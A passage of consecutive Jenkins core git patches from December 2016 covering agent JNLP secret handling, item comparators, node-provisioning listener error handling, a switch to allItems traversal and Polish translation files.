b/core/src/main/java/jenkins/slaves/EncryptedSlaveAgentJnlpFile.java index feb11427a8..9d152a68f0 100644 --- a/core/src/main/java/jenkins/slaves/EncryptedSlaveAgentJnlpFile.java +++ b/core/src/main/java/jenkins/slaves/EncryptedSlaveAgentJnlpFile.java @@ -4,6 +4,7 @@ import hudson.security.AccessControlled; import hudson.security.Permission; import hudson.slaves.SlaveComputer; import hudson.util.Secret; +import hudson.Util; import org.kohsuke.stapler.HttpResponse; import org.kohsuke.stapler.ResponseImpl; import org.kohsuke.stapler.StaplerRequest; @@ -36,7 +37,8 @@ import java.security.SecureRandom; public class EncryptedSlaveAgentJnlpFile implements HttpResponse { /** * The object that owns the Jelly view that renders JNLP file. - * For example {@link SlaveComputer}. + * This is typically a {@link SlaveComputer} and if so we'll use {@link SlaveComputer#getJnlpMac()} + * to determine the secret HMAC code. */ private final AccessControlled it; /** @@ -44,9 +46,11 @@ public class EncryptedSlaveAgentJnlpFile implements HttpResponse { */ private final String viewName; /** - * Name of the agent, which is used to determine secret HMAC code. + * Name of the agent, which is used to determine secret HMAC code if {@link #it} + * is not a {@link SlaveComputer}. */ private final String slaveName; + /** * Permission that allows plain text access. Checked against {@link #it}. */ @@ -55,8 +59,8 @@ public class EncryptedSlaveAgentJnlpFile implements HttpResponse { public EncryptedSlaveAgentJnlpFile(AccessControlled it, String viewName, String slaveName, Permission connectPermission) { this.it = it; this.viewName = viewName; - this.slaveName = slaveName; this.connectPermission = connectPermission; + this.slaveName = slaveName; } @Override @@ -77,7 +81,12 @@ public class EncryptedSlaveAgentJnlpFile implements HttpResponse { byte[] iv = new byte[128/8]; new SecureRandom().nextBytes(iv); - byte[] jnlpMac = JnlpSlaveAgentProtocol.SLAVE_SECRET.mac(slaveName.getBytes("UTF-8")); + byte[] jnlpMac; + if(it instanceof SlaveComputer) { + jnlpMac = Util.fromHexString(((SlaveComputer)it).getJnlpMac()); + } else { + jnlpMac = JnlpSlaveAgentProtocol.SLAVE_SECRET.mac(slaveName.getBytes("UTF-8")); + } SecretKey key = new SecretKeySpec(jnlpMac, 0, /* export restrictions */ 128 / 8, "AES"); byte[] encrypted; try { -- GitLab From ab849a3054dad1b64bedb9b74e0e950368989195 Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Thu, 15 Dec 2016 10:33:04 +0000 Subject: [PATCH 418/712] [JENKINS-40252] Expose utility comparator singletons --- core/src/main/java/hudson/model/Items.java | 52 +++++++++++++++++----- 1 file changed, 40 insertions(+), 12 deletions(-) diff --git a/core/src/main/java/hudson/model/Items.java b/core/src/main/java/hudson/model/Items.java index 0ddc6e800c..97923dda3e 100644 --- a/core/src/main/java/hudson/model/Items.java +++ b/core/src/main/java/hudson/model/Items.java @@ -80,6 +80,44 @@ public class Items { return false; } }; + /** + * A comparator of {@link Item} instances that uses a case-insensitive comparison of {@link Item#getName()}. + * If you are replacing {@link #getAllItems(ItemGroup, Class)} with {@link #allItems(ItemGroup, Class)} and + * need to restore the sort order of a further filtered result, you probably want {@link #BY_FULL_NAME}. + * + * @since FIXME + */ + public static final Comparator BY_NAME = new Comparator() { + @Override public int compare(Item i1, Item i2) { + return name(i1).compareToIgnoreCase(name(i2)); + } + + String name(Item i) { + String n = i.getName(); + if (i instanceof ItemGroup) { + n += '/'; + } + return n; + } + }; + /** + * A comparator of {@link Item} instances that uses a case-insensitive comparison of {@link Item#getFullName()}. + * + * @since FIXME + */ + public static final Comparator BY_FULL_NAME = new Comparator() { + @Override public int compare(Item i1, Item i2) { + return name(i1).compareToIgnoreCase(name(i2)); + } + + String name(Item i) { + String n = i.getFullName(); + if (i instanceof ItemGroup) { + n += '/'; + } + return n; + } + }; /** * Runs a block while making {@link #currentlyUpdatingByXml} be temporarily true. @@ -367,18 +405,8 @@ public class Items { } private static void getAllItems(final ItemGroup root, Class type, List r) { List items = new ArrayList(((ItemGroup) root).getItems()); - Collections.sort(items, new Comparator() { - @Override public int compare(Item i1, Item i2) { - return name(i1).compareToIgnoreCase(name(i2)); - } - String name(Item i) { - String n = i.getName(); - if (i instanceof ItemGroup) { - n += '/'; - } - return n; - } - }); + // because we add items depth first, we can use the quicker BY_NAME comparison + Collections.sort(items, BY_NAME); for (Item i : items) { if (type.isInstance(i)) { if (i.hasPermission(Item.READ)) { -- GitLab From 15e69874190ce56e228b823aa1584b8497fc673b Mon Sep 17 00:00:00 2001 From: Pavel Janousek Date: Thu, 15 Dec 2016 11:34:12 +0100 Subject: [PATCH 419/712] [JENKINS-38903] Split Exception handling for node provision and adding to Jenkins (#2591) * [JENKINS-38903] Split Exception handling for node provision and adding to Jenkins * Defined new static helper methods that ensure exceptions are not propagated * Added onCommit and onRollback signals to CloudProvisioningListener Added the new signals to be able to notify the state after Jenkins.addNode(Node) All Listener's calls moved to an exception-tolerant static helpers * Added @Nonnull annotation Changed the method signature CloudProvisioningListener.onRollback() * Re-throw Error in the fireOnXXX() Removed re-thrown Throwable in the main try/catch block (an instance of the Error is handled separately) * Handling of Error changed * Fixed Error instance handling in NodeProvisioner.fireOnFailure() --- .../slaves/CloudProvisioningListener.java | 33 ++++- .../java/hudson/slaves/NodeProvisioner.java | 137 ++++++++++++++---- 2 files changed, 142 insertions(+), 28 deletions(-) diff --git a/core/src/main/java/hudson/slaves/CloudProvisioningListener.java b/core/src/main/java/hudson/slaves/CloudProvisioningListener.java index 7789824d5f..e90a2601b8 100644 --- a/core/src/main/java/hudson/slaves/CloudProvisioningListener.java +++ b/core/src/main/java/hudson/slaves/CloudProvisioningListener.java @@ -5,9 +5,12 @@ import hudson.ExtensionPoint; import hudson.model.Label; import hudson.model.Node; import hudson.model.queue.CauseOfBlockage; +import jenkins.model.Jenkins; import java.util.Collection; +import javax.annotation.Nonnull; + /** * Allows extensions to be notified of events in any {@link Cloud} and to prevent * provisioning from a {@link Cloud}. @@ -53,6 +56,7 @@ public abstract class CloudProvisioningListener implements ExtensionPoint { /** * Called when the {@link NodeProvisioner.PlannedNode#future} completes. + * * @param plannedNode the plannedNode which resulted in the node being provisioned * @param node the node which has been provisioned by the cloud */ @@ -60,21 +64,48 @@ public abstract class CloudProvisioningListener implements ExtensionPoint { } + /** + * Called when the nodeis fully connected in the Jenkins. + * + * @param plannedNode the plannedNode which resulted in the node being provisioned + * @param node the node which has been provisioned by the cloud + * + * @since TODO + */ + public void onCommit(@Nonnull NodeProvisioner.PlannedNode plannedNode, @Nonnull Node node) { + // Noop by default + } + /** * Called when {@link NodeProvisioner.PlannedNode#future#get()} throws an exception. * - * @param plannedNode the planned node which failed to launch + * @param plannedNode the planned node which failed to provision * @param t the exception */ public void onFailure(NodeProvisioner.PlannedNode plannedNode, Throwable t) { } + /** + * Called when {@link Jenkins#addNode(Node)} throws an exception. + * + * @param plannedNode the plannedNode which resulted in the node being provisioned + * @param node the node which has been provisioned by the cloud + * @param t the exception + * + * @since TODO + */ + public void onRollback(@Nonnull NodeProvisioner.PlannedNode plannedNode, @Nonnull Node node, + @Nonnull Throwable t) { + // Noop by default + } + /** * All the registered {@link CloudProvisioningListener}s. */ public static ExtensionList all() { return ExtensionList.lookup(CloudProvisioningListener.class); } + } diff --git a/core/src/main/java/hudson/slaves/NodeProvisioner.java b/core/src/main/java/hudson/slaves/NodeProvisioner.java index bcde3623b4..af141a048f 100644 --- a/core/src/main/java/hudson/slaves/NodeProvisioner.java +++ b/core/src/main/java/hudson/slaves/NodeProvisioner.java @@ -23,6 +23,7 @@ */ package hudson.slaves; +import hudson.AbortException; import hudson.ExtensionPoint; import hudson.model.*; import jenkins.model.Jenkins; @@ -217,36 +218,48 @@ public class NodeProvisioner { PlannedNode f = itr.next(); if (f.future.isDone()) { try { - Node node = f.future.get(); - for (CloudProvisioningListener cl : CloudProvisioningListener.all()) { - cl.onComplete(f, node); - } - - jenkins.addNode(node); - LOGGER.log(Level.INFO, - "{0} provisioning successfully completed. " - + "We have now {1,number,integer} computer(s)", - new Object[]{f.displayName, jenkins.getComputers().length}); - } catch (InterruptedException e) { - throw new AssertionError(e); // since we confirmed that the future is already done - } catch (ExecutionException e) { - LOGGER.log(Level.WARNING, "Provisioned agent " + f.displayName + " failed to launch", - e.getCause()); - for (CloudProvisioningListener cl : CloudProvisioningListener.all()) { - cl.onFailure(f, e.getCause()); + Node node = null; + try { + node = f.future.get(); + } catch (InterruptedException e) { + throw new AssertionError("InterruptedException occurred", e); // since we confirmed that the future is already done + } catch (ExecutionException e) { + Throwable cause = e.getCause(); + if (!(cause instanceof AbortException)) { + LOGGER.log(Level.WARNING, + "Unexpected exception encountered while provisioning agent " + + f.displayName, + cause); + } + fireOnFailure(f, cause); } - } catch (IOException e) { - LOGGER.log(Level.WARNING, "Provisioned agent " + f.displayName + " failed to launch", - e); - for (CloudProvisioningListener cl : CloudProvisioningListener.all()) { - cl.onFailure(f, e); + + if (node != null) { + fireOnComplete(f, node); + + try { + jenkins.addNode(node); + LOGGER.log(Level.INFO, + "{0} provisioning successfully completed. " + + "We have now {1,number,integer} computer(s)", + new Object[]{f.displayName, jenkins.getComputers().length}); + fireOnCommit(f, node); + } catch (IOException e) { + LOGGER.log(Level.WARNING, + "Provisioned agent " + f.displayName + " failed to launch", + e); + fireOnRollback(f, node, e); + } } } catch (Error e) { // we are not supposed to try and recover from Errors throw e; } catch (Throwable e) { - LOGGER.log(Level.SEVERE, "Unexpected uncaught exception encountered while " - + "processing provisioned agent " + f.displayName, e); + // Just log it + LOGGER.log(Level.SEVERE, + "Unexpected uncaught exception encountered while processing agent " + + f.displayName, + e); } finally { while (true) { List orig = pendingLaunches.get(); @@ -701,9 +714,7 @@ public class NodeProvisioner { Collection additionalCapacities = c.provision(state.getLabel(), workloadToProvision); - for (CloudProvisioningListener cl : CloudProvisioningListener.all()) { - cl.onStarted(c, state.getLabel(), additionalCapacities); - } + fireOnStarted(c, state.getLabel(), additionalCapacities); for (PlannedNode ac : additionalCapacities) { excessWorkload -= ac.numExecutors; @@ -817,4 +828,76 @@ public class NodeProvisioner { } return defaultValue; } + + private static void fireOnFailure(final NodeProvisioner.PlannedNode plannedNode, final Throwable cause) { + for (CloudProvisioningListener cl : CloudProvisioningListener.all()) { + try { + cl.onFailure(plannedNode, cause); + } catch (Error e) { + throw e; + } catch (Throwable e) { + LOGGER.log(Level.SEVERE, "Unexpected uncaught exception encountered while " + + "processing onFailure() listener call in " + cl + " for agent " + + plannedNode.displayName, e); + } + } + } + + private static void fireOnRollback(final NodeProvisioner.PlannedNode plannedNode, final Node newNode, + final Throwable cause) { + for (CloudProvisioningListener cl : CloudProvisioningListener.all()) { + try { + cl.onRollback(plannedNode, newNode, cause); + } catch (Error e) { + throw e; + } catch (Throwable e) { + LOGGER.log(Level.SEVERE, "Unexpected uncaught exception encountered while " + + "processing onRollback() listener call in " + cl + " for agent " + + newNode.getDisplayName(), e); + } + } + } + + private static void fireOnComplete(final NodeProvisioner.PlannedNode plannedNode, final Node newNode) { + for (CloudProvisioningListener cl : CloudProvisioningListener.all()) { + try { + cl.onComplete(plannedNode, newNode); + } catch (Error e) { + throw e; + } catch (Throwable e) { + LOGGER.log(Level.SEVERE, "Unexpected uncaught exception encountered while " + + "processing onComplete() listener call in " + cl + " for agent " + + plannedNode.displayName, e); + } + } + } + + private static void fireOnCommit(final NodeProvisioner.PlannedNode plannedNode, final Node newNode) { + for (CloudProvisioningListener cl : CloudProvisioningListener.all()) { + try { + cl.onCommit(plannedNode, newNode); + } catch (Error e) { + throw e; + } catch (Throwable e) { + LOGGER.log(Level.SEVERE, "Unexpected uncaught exception encountered while " + + "processing onCommit() listener call in " + cl + " for agent " + + newNode.getDisplayName(), e); + } + } + } + + private static void fireOnStarted(final Cloud cloud, final Label label, + final Collection plannedNodes) { + for (CloudProvisioningListener cl : CloudProvisioningListener.all()) { + try { + cl.onStarted(cloud, label, plannedNodes); + } catch (Error e) { + throw e; + } catch (Throwable e) { + LOGGER.log(Level.SEVERE, "Unexpected uncaught exception encountered while " + + "processing onStarted() listener call in " + cl + " for label " + + label.toString(), e); + } + } + } } -- GitLab From 16254cb8ba1e3700869f79fb74ef1c79b34d0afc Mon Sep 17 00:00:00 2001 From: Stephen Connolly Date: Thu, 15 Dec 2016 10:35:00 +0000 Subject: [PATCH 420/712] [JENKINS-40252] Switch to allItems where traversal order is not important - Also switch in cases where we have a subset that is likely significantly smaller and hence quicker to sort --- .../main/java/hudson/DependencyRunner.java | 2 +- core/src/main/java/hudson/model/Computer.java | 2 +- .../java/hudson/model/DependencyGraph.java | 6 +- core/src/main/java/hudson/model/Items.java | 7 +- core/src/main/java/hudson/model/Label.java | 3 +- core/src/main/java/hudson/model/ListView.java | 4 +- .../java/hudson/model/UsageStatistics.java | 22 +++-- core/src/main/java/hudson/model/User.java | 82 +++++++++++-------- .../hudson/model/WorkspaceCleanupThread.java | 2 +- .../hudson/model/listeners/ItemListener.java | 6 +- .../java/hudson/scm/AutoBrowserHolder.java | 2 +- .../hudson/search/CollectionSearchIndex.java | 12 ++- .../java/hudson/tasks/ArtifactArchiver.java | 2 +- .../main/java/hudson/tasks/BuildTrigger.java | 2 +- .../main/java/hudson/triggers/SCMTrigger.java | 18 +++- .../main/java/hudson/triggers/Trigger.java | 2 +- core/src/main/java/hudson/util/RunList.java | 9 +- core/src/main/java/jenkins/model/Jenkins.java | 27 +++++- .../jenkins/triggers/ReverseBuildTrigger.java | 4 +- 19 files changed, 139 insertions(+), 75 deletions(-) diff --git a/core/src/main/java/hudson/DependencyRunner.java b/core/src/main/java/hudson/DependencyRunner.java index acf0356769..03efea55e4 100644 --- a/core/src/main/java/hudson/DependencyRunner.java +++ b/core/src/main/java/hudson/DependencyRunner.java @@ -59,7 +59,7 @@ public class DependencyRunner implements Runnable { Set topLevelProjects = new HashSet(); // Get all top-level projects LOGGER.fine("assembling top level projects"); - for (AbstractProject p : Jenkins.getInstance().getAllItems(AbstractProject.class)) + for (AbstractProject p : Jenkins.getInstance().allItems(AbstractProject.class)) if (p.getUpstreamProjects().size() == 0) { LOGGER.fine("adding top level project " + p.getName()); topLevelProjects.add(p); diff --git a/core/src/main/java/hudson/model/Computer.java b/core/src/main/java/hudson/model/Computer.java index f372a5413c..661c7ec77f 100644 --- a/core/src/main/java/hudson/model/Computer.java +++ b/core/src/main/java/hudson/model/Computer.java @@ -778,7 +778,7 @@ public /*transient*/ abstract class Computer extends Actionable implements Acces } public RunList getBuilds() { - return new RunList(Jenkins.getInstance().getAllItems(Job.class)).node(getNode()); + return RunList.fromJobs(Jenkins.getInstance().allItems(Job.class)).node(getNode()); } /** diff --git a/core/src/main/java/hudson/model/DependencyGraph.java b/core/src/main/java/hudson/model/DependencyGraph.java index 41327d009d..237eba1b40 100644 --- a/core/src/main/java/hudson/model/DependencyGraph.java +++ b/core/src/main/java/hudson/model/DependencyGraph.java @@ -91,7 +91,7 @@ public class DependencyGraph implements Comparator { SecurityContext saveCtx = ACL.impersonate(ACL.SYSTEM); try { this.computationalData = new HashMap, Object>(); - for( AbstractProject p : getAllProjects() ) + for( AbstractProject p : Jenkins.getInstance().allItems(AbstractProject.class) ) p.buildDependencyGraph(this); forward = finalize(forward); @@ -147,10 +147,6 @@ public class DependencyGraph implements Comparator { topologicallySorted = Collections.unmodifiableList(topologicallySorted); } - Collection getAllProjects() { - return Jenkins.getInstance().getAllItems(AbstractProject.class); - } - /** * Special constructor for creating an empty graph */ diff --git a/core/src/main/java/hudson/model/Items.java b/core/src/main/java/hudson/model/Items.java index 97923dda3e..7ab3585386 100644 --- a/core/src/main/java/hudson/model/Items.java +++ b/core/src/main/java/hudson/model/Items.java @@ -464,10 +464,9 @@ public class Items { * @since 1.538 */ public static @CheckForNull T findNearest(Class type, String name, ItemGroup context) { - List projects = Jenkins.getInstance().getAllItems(type); - String[] names = new String[projects.size()]; - for (int i = 0; i < projects.size(); i++) { - names[i] = projects.get(i).getRelativeNameFrom(context); + List names = new ArrayList<>(); + for (T item: Jenkins.getInstance().allItems(type)) { + names.add(item.getRelativeNameFrom(context)); } String nearest = EditDistance.findNearest(name, names); return Jenkins.getInstance().getItem(nearest, context, type); diff --git a/core/src/main/java/hudson/model/Label.java b/core/src/main/java/hudson/model/Label.java index 74a9fa6901..6c36925850 100644 --- a/core/src/main/java/hudson/model/Label.java +++ b/core/src/main/java/hudson/model/Label.java @@ -362,10 +362,11 @@ public abstract class Label extends Actionable implements Comparable

                      - There are dependency errors loading some plugins: + ${%Dependency errors}:
                      • ${plugin.longName} v${plugin.version} diff --git a/core/src/main/resources/hudson/views/JobColumn/columnHeader_pl.properties b/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.properties similarity index 89% rename from core/src/main/resources/hudson/views/JobColumn/columnHeader_pl.properties rename to core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.properties index 77f02c61ea..141be170a2 100644 --- a/core/src/main/resources/hudson/views/JobColumn/columnHeader_pl.properties +++ b/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2016, Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -19,5 +19,5 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. - -Job=Zadanie +Correct=Napraw +Dependency\ errors=There are dependency errors loading some plugins diff --git a/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message_pl.properties b/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message_pl.properties new file mode 100644 index 0000000000..3d164add4d --- /dev/null +++ b/core/src/main/resources/hudson/PluginWrapper/PluginWrapperAdministrativeMonitor/message_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Correct=Napraw +Dependency\ errors=Wyst\u0105pi\u0142y b\u0142\u0119dy podczas \u0142adowania niekt\u00F3rych wtyczek diff --git a/core/src/main/resources/hudson/model/AbstractBuild/tasks_pl.properties b/core/src/main/resources/hudson/model/AbstractBuild/tasks_pl.properties index 5272dc29df..ef9d00dfba 100644 --- a/core/src/main/resources/hudson/model/AbstractBuild/tasks_pl.properties +++ b/core/src/main/resources/hudson/model/AbstractBuild/tasks_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -22,8 +22,5 @@ Back\ to\ Project=Powr\u00F3t do projektu Changes=Rejestr zmian -Console\ Output=Logi konsoli -View\ as\ plain\ text=Otw\u00F3rz jako niesformatowany tekst Edit\ Build\ Information=Edytuj informacje o zadaniu -View\ Build\ Information=Poka\u017C informacje o zadaniu -raw=surowe wyj\u015Bcie +Status=Status diff --git a/core/src/main/resources/hudson/model/BuildAuthorizationToken/config_pl.properties b/core/src/main/resources/hudson/model/BuildAuthorizationToken/config_pl.properties index f65ddfe8ab..d4a868f5bc 100644 --- a/core/src/main/resources/hudson/model/BuildAuthorizationToken/config_pl.properties +++ b/core/src/main/resources/hudson/model/BuildAuthorizationToken/config_pl.properties @@ -25,4 +25,3 @@ Authentication\ Token=Token autentyfikacji Trigger\ builds\ remotely=Wyzwalaj budowanie zdalnie e.g.,\ from\ scripts=np. przez skrypt or=lub -Use\ the\ following\ URL\ to\ trigger\ build\ remotely=U\u017Cyj tego adresu URL, aby wyzwoli\u0107 budowanie zdalnie diff --git a/core/src/main/resources/hudson/model/Computer/index_pl.properties b/core/src/main/resources/hudson/model/Computer/index_pl.properties index e73c0c4213..69053ca8f8 100644 --- a/core/src/main/resources/hudson/model/Computer/index_pl.properties +++ b/core/src/main/resources/hudson/model/Computer/index_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -20,7 +20,6 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -Labels:=Kategorie/tagi None=\u017Badne anonymous\ user=anonimowy u\u017Cytkownik submit.not.temporarilyOffline=Zaznacz tymczasowo ofline diff --git a/core/src/main/resources/hudson/model/ComputerSet/configure_pl.properties b/core/src/main/resources/hudson/model/ComputerSet/configure_pl.properties new file mode 100644 index 0000000000..136daf8966 --- /dev/null +++ b/core/src/main/resources/hudson/model/ComputerSet/configure_pl.properties @@ -0,0 +1,24 @@ +# The MIT License +# +# Copyright (c) 2016, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Node\ Monitoring\ Configuration=Konfiguracja monitorowania w\u0119z\u0142\u00F3w +Preventive\ Node\ Monitoring=Profilaktyka monitorowania w\u0119z\u0142\u00F3w +OK=OK diff --git a/core/src/main/resources/lib/form/apply_de.properties b/core/src/main/resources/hudson/model/ComputerSet/new_pl.properties similarity index 89% rename from core/src/main/resources/lib/form/apply_de.properties rename to core/src/main/resources/hudson/model/ComputerSet/new_pl.properties index 28af2cf494..3c234b2e9b 100644 --- a/core/src/main/resources/lib/form/apply_de.properties +++ b/core/src/main/resources/hudson/model/ComputerSet/new_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2012, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributers +# Copyright (c) 2016, Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -19,5 +19,5 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. - -Apply=Übernehmen +Node\ name=Nazwa w\u0119z\u0142a +Copy\ Existing\ Node=Kopiuj istniej\u0105cy w\u0119ze\u0142 diff --git a/core/src/main/resources/hudson/model/Job/buildTimeTrend_pl.properties b/core/src/main/resources/hudson/model/Job/buildTimeTrend_pl.properties index 76f7eb5480..6933e0887e 100644 --- a/core/src/main/resources/hudson/model/Job/buildTimeTrend_pl.properties +++ b/core/src/main/resources/hudson/model/Job/buildTimeTrend_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -23,5 +23,4 @@ Build\ Time\ Trend=Trend czasu trwania zada\u0144 Build=Zadanie Duration=Czas trwania -More\ than\ 1\ builds\ are\ needed\ for\ the\ trend\ report.=Potrzeba wi\u0119cej ni\u017C jednego zadania by przygotowa\u0107 raport trendu Timeline=Linia czasu diff --git a/core/src/main/resources/hudson/model/Job/configure_pl.properties b/core/src/main/resources/hudson/model/Job/configure_pl.properties index ebd96c0e7e..8de51db76c 100644 --- a/core/src/main/resources/hudson/model/Job/configure_pl.properties +++ b/core/src/main/resources/hudson/model/Job/configure_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -24,5 +24,4 @@ Description=Opis LOADING=\u0141ADOWANIE Save=Zapisz Apply=Zastosuj -Strategy=Strategia name={0} nazwa diff --git a/core/src/main/resources/hudson/model/Job/index_pl.properties b/core/src/main/resources/hudson/model/Job/index_pl.properties index 7aee47b620..07caffc5a9 100644 --- a/core/src/main/resources/hudson/model/Job/index_pl.properties +++ b/core/src/main/resources/hudson/model/Job/index_pl.properties @@ -1,6 +1,24 @@ -# This file is under the MIT License by authors +# The MIT License +# +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. -Disable\ Project=Wy\u0142\u0105cz projekt -Enable=W\u0142\u0105cz Project\ name=Nazwa projektu -This\ project\ is\ currently\ disabled=Projekt jest obecnie wy\u0142\u0105czony. + diff --git a/core/src/main/resources/hudson/model/Messages_pl.properties b/core/src/main/resources/hudson/model/Messages_pl.properties index 705ca647da..2fc6176d72 100644 --- a/core/src/main/resources/hudson/model/Messages_pl.properties +++ b/core/src/main/resources/hudson/model/Messages_pl.properties @@ -79,3 +79,15 @@ MyViewsProperty.GlobalAction.DisplayName=Moje widoki FreeStyleProject.Description=To jest podstawowa funkcja Jenkinsa. Jenkins stworzy projekt \u0142\u0105cz\u0105cy dowolny SCM z dowolnym systemem buduj\u0105cym, mo\u017Ce to by\u0107 r\u00F3wnie\u017C wykorzystane do czego\u015B innego ni\u017C budowanie oprogramowania. # Freestyle project FreeStyleProject.DisplayName=Og\u00F3lny projekt +# Use this node as much as possible +Node.Mode.NORMAL=Wykorzystuj ten w\u0119ze\u0142 tak bardzo, jak to tylko mo\u017Cliwe +# Nodes +ComputerSet.DisplayName=W\u0119z\u0142y +# Jenkins +Hudson.DisplayName=Jenkins +# List View +ListView.DisplayName=Widok listy +# My View +MyView.DisplayName=M\u00F3j widok +# Only build jobs with label expressions matching this node +Node.Mode.EXCLUSIVE=Uruchamiaj te projekty, kt\u00F3re maj\u0105 etykiet\u0119 pasuj\u0105c\u0105 do tego w\u0119\u017C\u0142a diff --git a/core/src/main/resources/hudson/model/Run/console_pl.properties b/core/src/main/resources/hudson/model/Run/console_pl.properties index 5e82220e61..138b0e72ed 100644 --- a/core/src/main/resources/hudson/model/Run/console_pl.properties +++ b/core/src/main/resources/hudson/model/Run/console_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -21,5 +21,4 @@ # THE SOFTWARE. Console\ Output=Logi konsoli -View\ as\ plain\ text=Poka\u017C jako tekst niesformatowany skipSome=Pomini\u0119to {0,number,integer} KB.. Poka\u017C wszystko diff --git 